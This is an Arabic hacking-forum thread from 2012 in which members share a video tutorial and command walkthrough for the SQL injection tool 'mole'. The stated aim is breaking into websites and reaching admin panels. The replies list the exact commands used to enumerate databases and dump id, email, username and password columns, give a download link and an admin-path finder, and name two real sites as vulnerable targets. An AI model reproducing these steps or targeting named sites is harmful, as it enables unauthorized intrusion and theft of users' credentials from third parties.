لأول مره مرّه في المنتديات العربية شرحي فيديو لاداة (mole) لحقن المواقع :)

Q2-ksa · 08-17-2012, 02:23 AM

السلام عليكم ورحمة الله وبركاته..

اتمنى تكونون بخير ..ومبروك عليكم العيد جميعاً

هذا اليوم قمت بعمل شرح لاداة
mole

لأن الكثيرمنكم لا تعمل معه الاداة حسب شرح موقع الشركة لها ..
وهذا الشرح الفيديو العربي هو الأول مع التطبيق على موقع من بداية تحميل الاداة

الى أن نقوم بالدخول على لوحة الادمن

طبعاً الاداة خاصة بالحقن ..
واداة قوية صراحه .. ورهيبة ..

ان شاء الله الشرح واضح جداً ..
واي استفسار انا حاضر ..

((بالنسبة لـ الموقع عليكم بالعافية ))

للتحميل :

mediafire.com/?m451sck8midyow9

انسخوه وضعوه بالمتصفحح ..
لاني ممنوع من وضع الروابط لان مشاركاتي لم تتعدى الـ 5..

او حمّلوا المذكرة المرفقة بالموضوع .. وضعت داخلها الرابط تبع التحميل..

ملاحظة مهمة :
عند اعطاء امر

query
واختيار الاعمدة الخاصة بالبيانات المطلوبة
نفرض انه مثلاً اعطينا الامر بهالطريقة

query ogunch_dbsbs_members id,email,username,password
واعطينا انتر ..
وطلع لنا جدول فاضي !!
نقوم بتكرار الامر لكن باختيار عمود واحد مثلاً هكذا

query ogunch_dbsbs_members id
اخترنا فقط الـ id
سيظهر لنا ارقام الاي دي ..
لكن بعدها نقوم بنكرر الامر مع اختيار الاعمده كلها
الباسوورد والايميل واليوزر نيم والـ اي دي
لانه احياناً يحصل تعليق بسيط ..
وهالكلام قليل يحصل ..
بس حبيت انوّه ع هالشيء ع اساس اكون وضّحت لكم الموضوع بصورة جيده..

مع تحياتي
اخوكم
Q2 - ksa

Scanned By GHOST HACK

Q2-ksa · 08-17-2012, 02:35 AM

مرحباً ..
عفواً نسيت احط لكم موقع لاخواننا المبتدئين .. لاظهار مسارات الدخول..
مع ان فيه عدة طرق لاستخراج المسارات ..

y-shahinzadeh.ir/af/index.php

انسخوه لـ المتصفح ..

aircrack -ng · 08-17-2012, 02:57 AM

يعطيك العافيه

ولا واحد يحمل حتى يتم الفحص

Q2-ksa · 08-17-2012, 03:05 AM

اقتباس

المشاركة الأصلية كتبت بواسطة aircrack -ng


	يعطيك العافيه ولا واحد يحمل حتى يتم الفحص

الله يعافيك اخوي ..

انا أضم صوتي لـ صوتك .. ( لا احد يحمل حتى يتم الفحص )..

انا أعلم ان هذا القرار ليس إقلال من الثقة بي .. لكن هو من حق الجميع ..

!.! · 08-17-2012, 03:17 AM

اقتباس

المشاركة الأصلية كتبت بواسطة Q2-ksa


	الله يعافيك اخوي .. انا أضم صوتي لـ صوتك .. ( لا احد يحمل حتى يتم الفحص ).. انا أعلم ان هذا القرار ليس إقلال من الثقة بي .. لكن هو من حق الجميع ..

+1000
الملف مفحوص ان شاء الله مافيه شئ حملو لا تخافو

!.! · 08-17-2012, 03:05 AM

شكرا لك اخوي جاري التحميل والفحص ...ان شاء الله يكون سالم معافا ان شاء الله يارب..
جزاك الله خيرا عنا وعنك يا حبيبي

محمد50 · 08-17-2012, 03:16 AM

حلو العملك وتقديم الموضوعك
لاكن افضل الاخترقات
الاخترق المستهدف عبر (((الوندوز او عبر الانضمه الاخر ))) الانضمه الاخر افضل من الوندوز
وشكنر على التقديم
باااااااااااااااااااااااااااااي
كان معك
محمد50

Q2-ksa · 08-17-2012, 03:25 AM

اقتباس

المشاركة الأصلية كتبت بواسطة محمد50


	حلو العملك وتقديم الموضوعك لاكن افضل الاخترقات الاخترق المستهدف عبر (((الوندوز او عبر الانضمه الاخر ))) الانضمه الاخر افضل من الوندوز وشكنر على التقديم باااااااااااااااااااااااااااااي كان معك محمد50

اهلاً يامحمد ..
الحلو وجودك ..
عندما تريد استهداف موقع .. سـ تلجأ لعدة طرق .. لكن الهدف واحد ..الهدف هو الاختراق ..
وثغرات الـ sql تجدي نفعاً مع الاستهداف ..
و الاختراق العشوائي ممتع لمن يريدون ممارسة الاختراق بشكل عام .. او عمل بعض الشروحات على الشل او على تخطيات الحماية او ع اي هدف قائم لاجل الاختراق ..

بالنسبة لكلامك (عن الانظمة الاخرى) ..
المسألة مسألة خبرة .. وممارسة..
نظام الويندوز في يد (المبرمج) افضل من اللينكس في يد (متوسط الخبرة)..
وعلى فكرة .. الاداة التي قمت بشرحها تعمل على (لينكس وماك وويندوز) ..
ولا يوجد في الانترنت شرح فيديو واضح مثل ماشرحت انا .. الا شرح واحد من الشركة المصنعه للاداة وشرح غير واضح..
فـ نظراً لكثرة طلبات شرح الاداة في عدة مواقع قمت بـ عمل هذا الشرح..
ولم انزل هذا الموضوع الا هنا وفي منتدى صديق لي ..

تمنياتي للجميع بالتوفيق ..

aircrack -ng · 08-17-2012, 03:43 AM

اقتباس

المشاركة الأصلية كتبت بواسطة محمد50


	حلو العملك وتقديم الموضوعك لاكن افضل الاخترقات الاخترق المستهدف عبر (((الوندوز او عبر الانضمه الاخر ))) الانضمه الاخر افضل من الوندوز وشكنر على التقديم باااااااااااااااااااااااااااااي كان معك محمد50

انا اشرحلك
الوندوز او اللينكس كل الطرق تاذي الى روما
الوندوز فيه ادوات تشتغل بس على الوندوز ومش موجوده في اللينكس
واللينكس فيه ادوات مش موجوده في الوندوز وتشتغل ع اللينكس
وانا استعمل الوندوز ومركب الباك تراك على نظام وهمي ولما بدي اجرب لدي كلا النظامين

عذرا صاحب الموضوع خرجت عن سياق الموضوع

محمد50 · 08-17-2012, 03:17 AM

+ لك تقيم على الموضوعك
باااااااااااااااااااااااااااااااي

محمد50 · 08-17-2012, 03:19 AM

التقيم
الموضوعك
((("جيد")))

!.! · 08-17-2012, 03:26 AM

والله في حياتي ما شفت شئ فعال مثل هاذي الاداة
اخوي لو تكرم وتحط لنا الاوامر
لكي يكون موضوعك كامل ان شاء الله اليك احر التهاني اليك يا غالي

Q2-ksa · 08-17-2012, 03:52 AM

اقتباس

المشاركة الأصلية كتبت بواسطة !.!


	والله في حياتي ما شفت شئ فعال مثل هاذي الاداة اخوي لو تكرم وتحط لنا الاوامر لكي يكون موضوعك كامل ان شاء الله اليك احر التهاني اليك يا غالي

تأمر امر ياغالي ..

الاوامر واضحه في الشرح الفيديو .. لكن يالله ماعليه لعيونكم اضع لكم الاوامر بشكل سريع ..
طبعاً المجلد تبع الاداه فيه ملف exe هذا الاصدار خاص بالويندوز ..وهو الي راح نشغله بامر الدوس ..

بعد نقل الاداة لـ السي نقوم بفتح الدوس والانتقال بالمحرر لـ مسار السي وننتقل ايضاً بالمحرر الى مجلد الاداة .. ونقوم باعطاء هذا الامر
mole.exe -u wwwxxxxxxx.com/index.phpphp?id=3 -n 'schemas'

تشتغل الاداه نعطي الامر
needle schemas

ثم
schemas

راح تطلع الداتا بيس..

tables
ثم مسافه ثم اسم الداتا وانتر .. تظهر الاعمده ..
و
columns
ثم مسافه ثم اسم الداتا بيس وثم مسافة ثم اسم الجدول المطلوب ..وانتر

ثم تظهر لنا الاعمده ..

query
هذا الامر الاخير .. نكتب بعده اسم الداتا بيس التي تم اختيارها مسبقاً ثم مسافة و اسم الجدول ومسافة واسم الاعمده المطلوبه بياناتها مثال
query ogunch_db sbs_members id,email,username,password

في المثال الاعلى :
ogunch_db هذا اسم الداتا تبع الموقع..
sbs_members اسم الجدول
وهذه اسماء الاعمده :
id,email,username,password
طبعاً لازم نضع فاصلة بين كل اسم عمود وعمود اخر ..

وهكذا .. الى نهاية الموضوع..

شرحها واضح جداً ولو بغيتوا ارفعها ع اليوتيوب ماعندي مشكلة ياقماعة..

!.! · 08-17-2012, 04:00 AM

هه صحيت خويا ربي يجازيك ويرفع عنك ان شاء الله لكن انا عملت مثل ماعامل انت بالظبط وظهرت مشكلة وهي

اقتباس


	#> needle schemas #> schemas [-] Could not detect SQL Injection: Needle not found (Needle not in page) #>

لم يجد جداول دتا بيز وانا لسع في الطريقة الاولة وان شاء الله نكون ماازعجتك وانا اسف جدا على هذا الصراحت اعجبني الاداة والشرح ربي يعطيك ماتتمنا ان شاء الله
جربتو على ثلاث مواقع لذا شوف هاذو المواقع مصابين بثغرة sql لكن نفس المشكلة شوف
www.cam-ceeds.org/event.php?ID=30
http://valleyviewcasinocenter.com/event.php?id=202

Q2-ksa · 08-17-2012, 05:07 AM

اقتباس

المشاركة الأصلية كتبت بواسطة !.!


	هه صحيت خويا ربي يجازيك ويرفع عنك ان شاء الله لكن انا عملت مثل ماعامل انت بالظبط وظهرت مشكلة وهي لم يجد جداول دتا بيز وانا لسع في الطريقة الاولة وان شاء الله نكون ماازعجتك وانا اسف جدا على هذا الصراحت اعجبني الاداة والشرح ربي يعطيك ماتتمنا ان شاء الله جربتو على ثلاث مواقع لذا شوف هاذو المواقع مصابين بثغرة sql لكن نفس المشكلة شوف www.cam-ceeds.org/event.php?ID=30 http://valleyviewcasinocenter.com/event.php?id=202 [/CENTER]

حمل المذكرة .. المرفقه في ردي هذا ..